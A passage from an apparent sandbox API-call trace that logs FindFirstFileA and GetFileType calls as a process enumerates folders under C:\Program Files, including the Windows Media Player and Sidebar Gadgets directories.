cAlternateFileName="")) returned 0x825910 [0065.068] GetFileType (hFile=0xd4) returned 0x1 [0065.069] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9c58960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c58960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.071] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Uninstall Information\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xc9c58960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c58960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.073] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Defender\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9c58960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c58960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.073] GetFileType (hFile=0x120) returned 0x1 [0065.074] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9c58960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c58960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.077] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Journal\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc9c58960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c58960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.080] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc9c58960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c58960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.082] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xc9c7eac0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c7eac0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.084] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Mail\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc9c7eac0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c7eac0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.084] GetFileType (hFile=0x120) returned 0x1 [0065.085] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9c7eac0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c7eac0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.087] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9c7eac0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c7eac0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.091] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9c7eac0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c7eac0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.091] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.094] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9c7eac0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9c7eac0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.099] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9ca4c20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ca4c20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.103] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9ca4c20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ca4c20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.105] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9ca4c20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ca4c20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.106] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows NT\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc9ca4c20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ca4c20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.107] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9ca4c20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ca4c20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.109] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9ca4c20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ca4c20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.110] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc9ca4c20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ca4c20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.112] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9ca4c20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ca4c20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.119] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9ccad80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ccad80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.122] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9ccad80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ccad80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.125] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9ccad80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ccad80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.127] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9ccad80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ccad80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825850 [0065.129] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9ccad80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9ccad80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.133] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9cf0ee0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9cf0ee0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0065.136] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9cf0ee0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9cf0ee0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.138] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9cf0ee0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9cf0ee0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.141] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9cf0ee0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9cf0ee0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.144] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9cf0ee0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9cf0ee0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.148] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9d17040, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9d17040, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.164] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9d3d1a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9d3d1a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.168] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9d3d1a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9d3d1a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.171] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9d3d1a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9d3d1a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.174] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9d3d1a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9d3d1a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.178] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9d63300, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9d63300, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.209] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9daf5c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9daf5c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.211] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9daf5c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9daf5c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.213] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9daf5c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9daf5c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.215] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc9daf5c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9daf5c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0065.219] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9daf5c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9daf5c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0065.226] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc9dd5720, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xc9dd5720, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0065.227] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", lpFindFileData=0x42bc88 | 